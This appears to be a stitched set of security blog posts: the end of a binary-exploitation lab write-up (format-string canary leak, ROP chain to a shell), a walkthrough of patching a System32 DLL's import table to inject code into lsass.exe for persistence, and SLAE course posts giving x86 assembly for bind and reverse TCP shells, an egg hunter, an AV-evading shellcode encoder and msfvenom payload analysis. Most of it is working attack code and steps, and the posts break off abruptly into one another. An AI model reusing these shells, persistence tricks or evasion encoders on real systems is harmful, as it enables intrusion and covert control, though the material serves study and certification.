Then, EBX = address of "/bin/sh" (we will smuggle /bin/sh string to the stack in user input, then just calculate its address based on the leaked EBP value):

OK, one last thing, the int 0x80 call.

But wait, it has a nullbyte (I did not want nullbytes!).

OK, so what's the instruction right above it?

It's a NOP. Wonderful. So we can as well use 0x806f8ff.

Successfully exploiting findSomeWords() locally - read(STDIN,buf,2048) not catching up via socat

Having all the bits and pieces I assembled an exploit targeting the findSomeWords() overflow, with the following algorithm:

1) leak the canary and the saved RET via format string

2) make the selectABook() function return by providing one of the expected values ("A") to its input

3) overflow the buf[24] buffer via read(STDIN, buf, 2048), using the leaked canary as well as the 0xdeadbeef constant properly aligned in the payload, followed by four bytes of garbage to fill the saved EBP and the ROP chain beginning where saved RET was:

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8A/exploit_works_only_locally.py

And it worked just fine on the target binary /levels/lab08/lab8A, getting me a shell... The problem was that my privileges were still lab8A instead of expected lab8end... So I listed the /levels/lab08 directory only to find out that this one is NOT a suid binary.

Instead I found this:

This means the target is being run from root like this:

socat TCP-LISTEN:8841,reuseaddr,fork,su=lab8end EXEC:timeout 60 /levels/lab08/lab8A

"Well that's just as well" - I thought. And just changed the p = process(binary.path,stdin=PTY) line to p = remote("127.0.0.1", 8841) and ran the thing.

It did not work.

Debugging (this time attaching to the target PID from root, as there was no other way) revealed that the exactly same exploit code did not deliver a single byte to the buf[24] buffer.

So I thought "how come, ffs... Does it mean it completely ignores the user input?".

So I ran it manually to see that was the case:

Interacting with the socat-run target app via nc

So yes, I could only interact with the selectABook() function. Simply typed "A" and pressed enter, having no further opportunity to interact with the application.

At the moment I still do not know why - please let me know if you have a clue, I am curious.

Successfully exploiting selectABook() locally and remotely

At this point, as usual when I felt despair - I peeked into Corb3nik's solutions (https://github.com/Corb3nik/MBE-Solutions/blob/master/lab8a/solution.py) - not only to see that his exploit did not deal with findSomeWords() and its custom stack canary at all - but mostly to realize he exploited selectABook() (which meant scanf("%s") ... with nullbytes in the payload!

So I fell back on the first exploit I wrote, started debugging it again. I found out the reason it was failing was due 0xa and 0xd characters in the initial ROP chain. These turned out to be the real bad characters when it comes to scanf()! Again, as opposed to nullbyte.

Then I found out that the string I was trying to make EBX point to (/bin/python) - as I found that string on the stack in the early stage of the exploit development and thought it would be nice to use it instead of delivering /bin/sh via user input) - was not there when targeting the actual app running under socat... It must have been a side effect of spawning the process from the python script with pwntools while developing the exploit.

Then it turned out my lengthy ROP chain (overflowing the local buf_secure of the  selectABook()->selectABook() call ) overwrote the /bin/sh value I delivered to the stack right after the initial format-string payload (the first call of selectABook()).

So I ended up adding additional 200 characters (H) between the format string and /bin/sh and increasing the value subtracted from the leaked EBP in the binsh_addr =EBP_value-338 expression accordingly.

1) Attacking the first selectABook() call to leak the canary and the saved EBP via format string while also stuffing /bin/sh on the stack - with 200 H-s between as this buffer will get overwritten by the ROP chain when we overflow the buffer in the second (recurrent) call selectABook()->selectABook():

2) Attacking the second call selectABook()->selectABook() by overflowing the buf_secure[512] with 512 B-s followed by the original leaked canary value, the original saved EBP value (although this value does not matter here as long as it is not a bad char) and the 0xa-free and 0xd-free ROP chain replacing the saved RET:

3) Making the third selectABook()->selectABook()->selectABook() call return (instead of continuing the recurrence) by providing one of the expected values - A:

Getting the flag

The final code can be found here:

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8A/exploit_working.py

PE Import Table hijacking as a way of achieving persistence - or exploiting DLL side loading

27 December 2019 at 03:56

Preface

In this post I describe a simple trick I came up with recently - something which is definitely nothing new, but as I found it useful and haven't seen it elsewhere, I decided to write it up.

What we want to achieve

So - let's consider backdooring a Windows executable with our own code by modifying its binary file OR one of its dependencies (so we are not talking about runtime code injection techniques or hooking,  neither about abusing known persistence features like AppInit DLLs and the like).

Most of us are familiar with execution flow hijacking combined with:

We probably heard of IAT hooking (in-memory), but how about on-disk?

Import Table and DLL loading

Both EXE and DLL files make use of a PE structure called Import Table, which is basically a list of external functions (usually just WinAPI) the program is using, along with the names of the DLL files they are located in. This list can be easily reviewed with any PE analysis/editing tool like LordPE, PEView, PEStudio, PEBear and so on:

An excerpt of the calc.exe Import table displayed in PEView

These are the runtime dependencies resolved by the Windows PE loader upon image execution, making the new process call LoadLibrary()  on each of those DLL files. Then the relevant entries for each individual function are replaced with with its current address within the just-loaded library (the GetProcAddress() lookup) - this is the normal and usual way of having this done, taken care by the linker during build and then by the Windows loader using the Import Table.

I need to mention that the process can as well be performed directly by the program (instead of using the Import Table), by calling both LoadLibrary() and then GetProcAddress(), respectively from its own code at some point (everyone who wrote a windows shellcode knows this :D). This second way of loading DLLs and calling functions from them is sometimes referred to as dynamic linking (e.g. required for calling native APIs) and in many cases is a suspicious indicator (often seen in malicious software).

Anyway, let's focus on the Import Table and how we can abuse it.

Getting right to it - hijacking the Import Table and creating the malicious PoC DLL

WARNING: Please avoid experimenting with this on a production system before you develop and test a working PoC, especially when dealing with native Windows DLLs (you could break your system, you've been warned). Do it on a VM after making a backup snapshot first.

So, without any further ado, let's say that for some reason (🤭) we would like to inject our code into lsass.exe.

Let's start with having a procmon look to see what DLLs does lsass.exe load:

A procmon filter for DLL loads performed by lsass.exe
The results once the filter is applied

Now, we are going to slightly modify one of these DLLs.

When choosing, preferably we should go after one that is not signed (as we want to chose one with high chances of being loaded after our modification).

But in this case, to my knowledge, they are all signed (some with embedded signatures - with the Digital Signatures tab visible in the explorer properties of the file, others signed in the C:\Windows\System32\catroot\).

The execution policy on this system, however, is unrestricted... oh wait, that's what I thought up until finishing up this write up, but then for diligence, I decided to actually make a screenshot (after seeing it I was surprised it worked, please feel free to try this at home):

ANYWAY - WE WANT to see what happens OURSELVES - instead of making self-limiting assumptions, so we won't let the presence of the signature deteriorate us. Also, in case system decides that integrity is more critical than availability and decides to break, we have a snapshot of the PoC development VM.

The second factor worth considering when choosing the target DLL is the presence of an Import Table entry we would feel convenient replacing (will become self-explanatory).

So, let's choose C:\Windows\System32\cryptnet.dll (sha256: 723563F8BB4D7FAFF5C1B202902866F8A0982B14E09E5E636EBAF2FA9B9100FE):

Now, let's view its Import Table and see if there is an import entry, which is most likely not used - at least during normal operations. Therefore such an entry is the most safe to replace (I guess now you see where this is going). We could as well ADD an import table entry, but this is a bit more difficult, introduces more changes into the target DLL and is beyond this particular blog post.

Here we go:

api-ms-win-core-debug-l1-1-0.dll with its OutputDebugStringA is a perfect candidate.

As Import Tables contain only one reference to each particular DLL name, all relevant functions listed in the Import Table simply refer to such DLL name within the table.

Hence, if we replace a DLL that has multiple function entries in the Import Table, we would have multiple functions to either proxy or lose functionality and risk breaking something (depending on how lazy we are).

Thus, a DLL from which only one function is imported is a good candidate. If the DLL+function is a dependency that has most likely already been resolved by the original executable before it loaded the DLL we are modifying, it's even better. If it is a function that is most likely not to be called during normal operations (like debugging-related functions), it's perfect.

Now, let's work on a copy of the target DLL and apply a super l33t offensive binary hacking technique - hex editor. First, let's find the DLL name (we simply won't care about the Import Table structure):

Searching for the DLL name in the Import Table using HxD

Got it, looks good:

Looks like we found it

Now, our slight modification:

Now, just changing ONE byte, that's all we need

So now our api-ms-win-core-debug-l1-1-0.dll became api-ms-win-code-debug-l1-1-0.dll.

Let's confirm the Import Table change in PEView:

Now, let's fire up our favorite software development tool and create api-ms-win-code-debug-l1-1-0.dll with our arbitrary code.

DevC++, new project, DLL, C

Using a very simple demo, grabbing the current module name (the executable that loaded the DLL) and its command line, appending it into a txt file directly on C: (so by default only high integrity/SYSTEM processes will succeed):

One thing, though - in order for the GetModuleFileNameA() function from the psapi library (psapi.h) to properly link after compilation, -lpsapi needs to be added to the linker parameters:

Code can be copied from here https://github.com/ewilded/api-ms-win-code-debug-l1-1-0/blob/master/dllmain.c.

OK, compile. Now, notice we used one export, called OutputFebugString (instead of OutputDebugString). This is because the linker would complain about the name conflict with the original OutputDebugString function that will get resolved anyway through other dependencies.

But since I wanted to have the Export Table in the api-ms-win-code-debug-l1-1-0.dll to match the entry from the cryptnet.dll Import Table, I edited it with HxD as well:

Fixing it

After:

Fixing it
Done

Normally we might want to test the DLL with rundll32.exe (but I am going to skip this part). Also, be careful when using VisualStudio, as it might produce an executable that by default will be x86 (and not x64) and for sure will produce an executable requiring visual C++ redistributables (even for a basic hello world-class application like this), while we might want to create portable code that will actually run on the target system.

What we are expecting to happen

We are expecting the lsass.exe process (and any other process that imports anything from cryptnet.dll) to load its tampered (by one byte!) version from its original location in spite of its digital signature being no longer valid (but again, lsass.exe and cryptnet.dll are just examples here).

We are also expecting that, once loaded, cryptnet.dll will resolve its own dependencies, including our phony api-ms-win-code-debug-l1-1-0.dll, which in turn, upon load (DllMain() execution) will execute our arbitrary code from within lsass.exe process (as well as from any other process that loads it, separately) and append our C:\poc.txt file with its image path and command line to prove successful injection into that process.

Deployment

OK, now we just need to deploy our version of cryptnet.dll (with the one Import Table entry hijacked with our phony api-ms-win-code-debug-l1-1-0.dll) along with our phony api-ms-win-code-debug-l1-1-0.dll itself into C:\Windows\System32\.

For this, obviously, we need elevated privileges (high integrity administrator/SYSTEM).

Even then, however, in this case we will face two problems (both specific to C:\Windows\System32\cryptnet.dll).

The first one is that C:\Windows\System32\cryptnet.dll is owned by TrustedInstaller and we (assuming we are not TrustedInstaller) do not have write/full control permissions for this file:

The easiest way to overcome this is to change the file ownership and then grant privileges:

The second problem we will most likely encounter is that the C:\Windows\System32\cryptnet.dll file is currently in use (loaded by multiple processes).

The easiest workaround for this is to first rename the currently used file:

Then deploy the new one (with hijacked Import Table), named the same as the original one (cryptnet.dll).

Below screenshot shows both new files deployed after having the original one renamed:

Showtime

Now, for diagnostics, let's set up procmon by using its cool feature - boot logging. Its driver will log events from the early stage of the system start process, instead of waiting for us to log in and run it manually. That boot log itself is, by the way, a great read:

Once we click Enable Boot Logging, we should see the following prompt:

We simply click OK.

Now, REBOOT!

And let's check the results.

This looks encouraging:

Oh yeah:

Let's run procmon to filter through the boot log. Upon running we should be asked for saving and loading the boot log, we click Yes:

Now, the previous filter (Process name is lsass.exe and Operation is Load Image) confirms that our phony DLL was loaded right after cryptnet.dll:

One more filter adjustment:

To once more confirm that this happened:

Why this can be fun

DLL side loading exploitation

This approach is a neat and reliable way of creating "proxy" DLLs out of the original ones (that differ by no more than one byte). Then we only might need to proxy one or few functions, instead of worrying about proxying all/most of them.

Persistence

Introducing injection/persistence of our own code into our favorite program's/service's EXE/DLL.

All with easy creation of the phony DLL (just write in C) and a simple byte replacement in an existing file, no asm required.

Bind TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517

Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode

    - Binds to a port
    - Execs Shell on incoming connection
    - Port number should be easily configurable


~~~~~~~~~//*****//~~~~~~~~~



Creating a BIND_TCP shell can be broken down into 4 functions.

0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve


... let us begin


0x1 - socket

First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.


domain = AF_INET or 0x2


type = SOCK_STREAM or 0x1


protocol = TCP or 0x6


We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.



We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

               push 0x6
               push 0x1
               push 0x2

Once the socket has been created, we then invoke the socketcall() syscall



             xor eax, eax              ;remove x00/NULL byte
             mov al, 0x66             ;syscall 102 (x66) for socketcall
             xor ebx, ebx             ;remove x00/NULL byte
             mov bl, 0x1              ;net.h SYS_SOCKET 1 (0x1)
             xor ecx, ecx             ;remove x00/NULL byte
            mov ecx, esp             ;arg 2, esp address to ecx
            int 0x80                    ;interrupt/excute

            mov edi, eax             ;sockfd, this will be referenced throughout the 

0x2 -bind

One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.



          bind:
                jmp short port_to_blind        

         call_bind:
               pop esi                  ; pops ESP addr
              xor eax, eax          ;remove x00/NULL byte
              push eax               ;push eax NULL value to the stack
              push word[esi]     ;push actual port number to the stac, word=2 bytes
              mov al, 0x2          ;AF_INET IPv4
              push ax
              mov edx, esp        ;store stack addr (struct sockaddr)
              push 0x10            ;store length addr on stack
              push edx              ;push strct sockaddr to the stack
              push edi               ;sockfd from the eax _start
              xor eax, eax         ;remove x00/NULL byte
              mov al, 0x66        ;syscall 102 for socketcall
              mov bl, 0x02        ;net.h SYS_BIND 2 (0x02)
              mov ecx, esp        ;arg for SYS_BIND
              int 0x80               ;interrupt/execute

         port_to_bind:
              call call_bind
              port_number dw 0x5d11  ;port 4445 (0x115d)
                                                        ;this gets pushed to the stack after the call instruction

0x3 - listen


The listen() syscall is pretty straightforward.


            push 0x1                         ; int backlog
            push edi                          ; sockfd from eax _start
           xor eax, eax                    ;remove x00/NULL byte
           mov al, 0x66                   ;syscall 102 for socketcal
           xor ebx, ebx                    ;remove x00/NULL byte
          mov bl, 0x4                      ;net.h SYS_LISTEN 4
          xor ecx, ecx                     ;remove x00/NULL byte
          mov ecx, esp                    ;arg for SYS_LISTEN
          int 0x80                           ;interrupt/execute

0x4 - accept

Likewise, accept() is pretty straight forward.



             xor ear, eax                  ;remove x00/NULL byte
             push eax                       ;push NULL value to addrlen
             xor ebx, ebx                 ;remove x00/NULL byte
            push ebx                       ;push NULL value to addr
            push edi                        ;sockfd from eax _start
            mov al, 0x66                 ;syscall 102 for socketcall
            mov bl, 0x5                   ;net.h SYS_ACCEPT 5
            xor ecx, ecx                  ;remove x00/NULL byte
            mov ecx, esp                 ;arg for SYS_ACCEPT
            int 0x80                         ;interrupt/execute

0x4a - change_fd


This is all the dup2() functions which ensure file /bin/sh goes through the socket connection

       
            mov ebx, eax                  ;moves fd from accept to ebx
            xor ecx, ecx                    ;removes 0x00/NULL byte, 0 (std in)
            xor eax, eax                   ;removes 0x00/NULL byte
            mov al, 0x3f                  ;syscall 63 for dup2
            int 0x80                         ;interrupt/execute

            mov al,0x3f                   ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 1 (std out)
            int 0x80                         ;interrupt/execute

            mov al, 0x3f                  ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 2 (std error)
            int 0x80                         ;interrupt/execute

0x5 - execve

At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.


The following instructions are taken directly from the execve module of the SLAE course.

             xor eax, eax                 ;removes x00/NULL byte
             push eax                      ;push first null dword

             push 0x68732f2f          ;hs// 
             push 0x6e69622f          ;nib/

              mov ebx, esp              ;save stack pointer in ebx
             push eax                       ; push null byte as 'null byte terminator'
             mov edx, esp               ;moves address of 0x00hs//nib/ into ecx

             push ebx
             mov exc, esp

             mov al, 0xb                 ; syscall 11 for execve
             int 0x80


And we are done!

Testing our bind shell.

We compile nasm file and execute it.



Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.

BT IP: 192.168.199.128
Ubuntu IP: 192.168.199.129


We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:

Success..we can see the connection established.


Finally, we use objdump to obtain the shellcode from our executable


***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.

Here's an example of using the shellcode with a .c program




We compile shellcode.c, execute it and connect to 4445 from out BT machine.



SUCCESS!






SLAE Certification

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

~~~~~~~~~//*****//~~~~~~~~~

I started my offsec journey back in Feb 2007 when I registered for Offensive Security Certified Professional (OSCP) and completed the certification in June of that same year. Almost 3 years later, I finally decided to start on Offensive Security Certified Expert (OSCE) and one of the baseline requirements for this certification is a familiarity with Linux assembly language. Several OSCE preparation/exam reviews pointed to Security Tubes Linux Assembly (SLAE-32 bit) course as a good course to prepare for OSCE. The course is provided at an affordable price of $130 and the certification is really unique. After completing the course, students are required to complete seven assignments (listed below) to obtain the certification.

SLAE Assignment #1 - Bind TCP Shell
SLAE Assignment #2 - Reverse TCP Shell
SLAE Assignment #3 - Egg Hunter
SLAE Assignment #4 - Encoder
SLAE Assignment #5 - Shellcode Analysis
SLAE Assignment #6 - Polymorphism
SLAE Assignment #7 - Crypter 

Shout out to Vivek for doing an amazing job teaching the course. It was a perfect blend of the crawl, walk, run--from learning the basics of assembly registers to operations/conditions/controls/loops, creating shellcodes, and finally creating encoders/polymorphism/crypters. 

Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #2 - Create a Shell_Reverse_TCP shellcode
      

      - Reverse connects to configured IP and Port
      - Execs shell on successful connection
      - IP and Port should be easily configurable

~~~~~~~~~~//*****//~~~~~~~~~~


Creating a REVERSE_TCP shell consist of 3 functions

0x1 socket
0x2 connect
0x3 execve



0x1 - socket

Similar to assignment #1, the first thing we need to do is set-up our socket. This can be accomplished by pushing the following parameters into the stack.

We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

                push 0x6                ;TCP or 0x6
               push 0x1               ;SOCK_STREAM or 0x1
              push 0x2               ;AF_INET or 0x2

We can then invoke the socketcall() system call, as shown below:

               xor eax, eax            ;remove x00/NULL byte
               mov al, 0x66            ;syscall 102 for socketcall
               xor ebx, ebx            ;remove x00/NULL byte
               mov bl, 0x1             ;net.h SYS_SOCKET 1 (0x1)
               xor ecx, ecx            ;remove x00/NULL byte
              mov ecx, esp            ;arg to SYS_SOCKET
              int 0x80                ;interrupt/execute


              mov edi, eax            ;sockfd, store return value of eax into edi


0x2 - connect

Once our socket is set-up, the next step is to invoke the connect() system call. This will be used to connect back to the listening machine, through the socket using an IP address and Port destination.

Below shows what we need for the connect():



One main difference with reverse shell vs. a bind shell is that we need both the IP and port of the listening machine for the reverse shell. Specifically, we use 192.168.199.128 and port 4445 as the IP and port respectively. We load both the IP and port address into the stack using jmp-pop-call method again. We first do a jmp to the label that contains our IP and port. '192.168.199.1304445' is then loaded to the stack once the call command is called. We can then call the pop esi instruction which loads the '192.168.199.1304445' into the esi register. Finally, to split the IP and port we do a push dword[esi] which pushes the first 4 bytes (192.168.199.130) and then a push word[esi +4] which pushes the last two bytes (4445).

We then call the socketcall() and SYS_CONNECT.


   reverse_jump:

        jmp short reverse_ip_port


    connect:

        ;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen$


        pop esi                            ;pops port+IP (total of 6 bytes), ESP addr to e$
        xor eax, eax                    ;removes x00/NULL byte
        xor ecx, ecx                     ;removes x00/NULL byte
        push dword[esi]              ;push IP (first 4 bytes of esi)
        push word[esi +4]           ;push PORT (last 2 bytes of esi)
        mov al, 0x2                      ;AF_INET IPV4
        push ax
        mov eax, esp                    ;store stack address into edc (struct sockaddr)
        push 0x10                        ;store length addr on stack
        push eax                          ;push struct sockaddr to the stack
        push edi                           ;sockfd from th eax _start
        xor eax, eax                     ;removes x00/NULL byte
        mov al, 0x66                    ;syscall 102 for socketcall
        xor ebx, ebx                     ;removes x00/NULL byte
        mov bl, 0x03                    ;net.h SYS_CONNECT 3
        mov ecx, esp                    ;arg for SYS_CONNECT
        int 0x80



    reverse_ip_port:

        call connect

        reverse_ip dd 0x82c7a8c0       ;192.168.199.130, hex in little endian
        reverse_port dw 0x5d11          ;port 4445, hex in little endian



0x3 - execve

Before execve() syscall can be invoked, we have to set up dup2() calls to ensure all the std in/out/error goes through the socket. We use the same technique utilized in assignment #1.

   change_fd:

        ;multiple dup2() to ensure that stdin, stdout, std error will
        ;go through the socket connection

        xor ecx, ecx            ;removes 0x00/NULL byte, 0 (std in)
        xor eax, eax            ;removes 0x00/NULL byte
        xor ebx, ebx            ;removes 0x00/NULL byte
        mov ebx, edi            ;sockfd from the eax _start
        mov al, 0x3f            ;syscall 63 for dup2
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to cx, 1 (std out)
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to ecx, 2 (std error)
        int 0x80                ;interrupt/execute


Shell time! Shells for everyone!

This is no different than assignment #1 shell. We use execve() syscall to invoke a /bin/sh, however this time it sends the file std in/out back to the listening machine.

  execve:
         xor eax, eax             ;removes x00/NULL byte
         push eax                   ;push first null dword

         push 0x68732f2f      ;hs//
         push 0x6e69622f      ;nib/

         mov ebx, esp             ;save stack pointer in ebx

         push eax                    ;push null byte terminator
         mov edx, esp             ;moves address of 0x00hs//nib/ into edx

         push ebx                    
         mov ecx, esp          

         mov al, 0xb                ;syscall 11 for execve
         int 0x80


Testing our reverse shell

First, we start with compiling our nasm file into executable and then opening up a listener in our Kali box.




Execute the file and we get a reverse TCP connection back to our kali


SUCCESS...our reverse shell works.


We then use objdump to get our actual shellcode...


Copy the shellcode into our c file, test reverse shell again and we get another successful reverse shell to the kali listener.








Egg Hunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #3 - Egghunter
        

          - Create a working demo of the egg hunter

~~~~~~~~~//*****//~~~~~~~~~


For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.

What is an egg_hunter? Why do we need it?

An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.

This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).

Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:

       %define _EGG                    0x50905090

       xor ebx, ebx                         ;remove x00/NULL byte
       mov ebx  _EGG                   ;move 0x50905090 egg into ebx register
       xor ecx, ecx                         ;remove x00/NULL byte  
       mul ecx                                ;intializes eax, ecx, edx with x000000000 value


We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().


We will be using the *pathname pointer argument to validate the address that will contain our egg.

 I globally defined two more variables: the access() syscall and EFAULT

      %define _SYSCALL_ERR       ;0xf2
      %define __NR_access              ;0x21

...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS

The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction

NEXT_PAGEFILE:

      or dx, 0xfff                                 ;note that edx is the pointed *pathname
                                                         ;0xffff == 4095

The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.

NEXT_ADDRESS:

        inc edx                               ;increments edx, checks next address if it contains the egg
        pusha                                 ;push eax, ebx, ecx, edx....these registers are used multiple 
                                                   ;pushing them to the stack to preserve values when popped
        lea ebx, [edx +4]
        xor eax, eax                      ;remove x00/NULL byte
        mov al, __NR_access       ;syscall 33 for access(2)
        int 0x80                            ;interrupt/execute

        ;egg hunting begins

        cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
        popa                                 ;branch, pop eax, ebx, ecx, edx
        jz NEXT_PAGEFILE     ;al return value == EFAULT value, invalid address memory
                                                 ;move to the next PAGESIZE

        cmp [edx], ebx                 ;if al retun value != EFAULT value, execute this instruction
                                                 ;compares the egg with edx value
        jnz NEXT_ADDRESS    ;not EFAULT but _EGG not found, loop again


        cmp[edx +4], ebx             ;_EGG found, test for the next 4 byte of the _EGG
       jnz NEXT_ADDRESS     ;if next 4 bytes of edx value !=_EGG, loop again

       jmp edx                             ;finally, 8 bytes of _EGG found, jmp to address of edx     

We compile our nasm file and obtain our shellcode using objdump.


We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.

I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.



For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.



SUCCESS!!



Shellcode Encoder

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #4 - Encoder
 - Create a custom encoding scheme


~~~~~~~~~//*****//~~~~~~~~~



For this assignment,  we will be encoding an execve shellcode that spawns a /bins/sh using XOR and then NOT encoding The idea behind encoding is that we can alter opcodes without altering its functionality. For instance, using the shellcode below, it is pretty clear that our shellcode contains \x2f\x2f\x73\x68\x2f\x62\x69\x6e which translates to //bin/sh. Among other things, this is something that could be easily caught by Anti-virus (AV) or Intrusion  Detection System (IDS).

Below is the original execve-stack.nasm file and its corresponding opcodes/shellcode.






Once we get the original shellcode...I used python for encoding which will be a two-step process: XOR encoding first, then NOT encoding the result of the first step.

Here we initialize it with our original shellcode from execve-stack.nasm file:


The first step is the  XOR encoding. For this step, I am going through each byte of the original shellcode and XOR'ng it with 0xaa.


The second step is to encode each byte of the result from XOR encoding, with a NOT encoding.




Below is the output of the encoder python script. I am printing both XOR and NOT encoded shellcodes however, we will only need the NOT encoded shellcode for our decoder.



With the 'XOR then NOT' encoded shellcode, we are now ready to create our decoder to revert or decode it back to the original shellcode.

For this step, I am using the jmp-pop-call method again. We load the encoded shellcode into the stack by using the call instruction. We then pop it and load it into a register (esi for this one). We can then loop through each byte of the encoded shellcode loaded in esi. 

We first do a NOT then followed by XOR 0xaa.

Below shows the encoding and decoding scheme for the first byte

encoding: 0x31---> 0x9b (0x31 XOR 0xaa) -----> 0x64 (NOT 0x9b & 0xff)
decoding: 0x64---> 09xb (NOT 0x64 & 0xff) ---> 0x31 (0x9b XOR 0xaa)

...and here's the complete nasm file with our decoder.



We compile then generate a new shellcode using objdump.


We update our shellcode.c file, compile it and execute.

Note that with this the new shellcode, it shows that we can 'hide' the //bin/sh while maintaining the functionality.


SUCCESS!


Shellcode Analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #5 - Analysis of Linux/x86 msfpayload shellcodes

          - Use GDB/ndisasm/libemu to dissect the functionality of the shellcode


~~~~~~~~~//*****//~~~~~~~~~


For this assignment, I will be using the first three Linux/x86 payloads generated by msfvenom (formerly msfpayload)


0x1 - linux/x86/adduser


A quick ndisasm gives us the following:

msfvenom -p linux/x86/adduser -f raw | ndisasm-u -



The first obvious ones are the 4-dwords:

           push dword 0x64777373
           push dword 0x61702f2f
           push dword 0x6374652f

The following dwords (in little-endian) are the hex representation of /etc//passwd as shown below:


However, it is still unclear as to what is being done to the /etc//passwd file. I think this is where we can use gdb to see what system calls are being invoked.

I generated the shellcode from msfvenom, loaded it in shellcode.c, compiled and loaded in gdb.




Once loaded in gdb...we first set a breakpoint for shellcode: break *&code 



We can see again the /etc//passwd in lines +15, +20, +25. We can also see several int 0x80 (lines +7, +35, +86, +91) for the system calls. We can add breakpoints on these lines to see what system calls are loaded into eax. 


Note: Here is a list of all the system calls with their corresponding call numbers found in /usr/include/i86-linux-gnu/asm/unistd_32.h


Syscall #1:  eax has 46 or setgid() loaded to it.



setgid() call is pretty straight forward. This call sets a user's group id. In this case, the group id is set to 0 as seen in the first two lines. The function calls only require one argument, in this case 0 is loaded into ebx (mov ebx, ecx) as the argument. 

                                                  [email protected]:~/SLAE# id
uid=0(root) gid=0(root) groups=0(root)



                   
Syscall #2: eax has 5 or open() loaded to it.


open() here opens /etc/passwd file for the pathname and sets the flags to O_RDWR (Read/Write). This step will require root access hence why setgid()  was called first and set the user's group id to 0.

                      
                             push   0x64777373
                             push   0x61702f2f
                             push   0x6374652f




Syscall #3: eax has 4 or write() loaded to it.


write() has 3 arguments (fd, *buf, count). count writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.



The following is what gets written in to /etc/passwd file.
USER=test
PASS=password (in this case it is hashed)
SHELL=/bin/bash



syscall #4: eax has 1 or exit() loaded to it....enough said.




0x2 - linux/x86/chmod

We again generate a shellcode with the following options:

FILE=/home/slae/test.txt
MODE=0777





Compile and we load the file in gdb.


We put a breakpoint at the system  call @ +37 (0x804a065)

Syscall: eax has 15 or chmod() loaded to it.



chmod() requires two arguments: pathname and mode

pathname: /home/slae/test.txt (ebx)



mode: 0777 (ecx) 

Here we can see 0x1ff (0777) pushed to the stack and popped into ecx


0x3 - linux/x86/exec

We generate a shellcode with the following option:

CMD=ifconfig



Compile and load it in gdb


We put a breakpoint at the system call @ +42 (0x0804a06a)

syscall: eax has 11 or execve() loaded to it.



Here we see the first part of the string for the command /bin/sh -c loaded into ebx.





The next string should be ifconfig, however, I couldn't find it using gdb. I ended up using ndisasm for this next step.

 
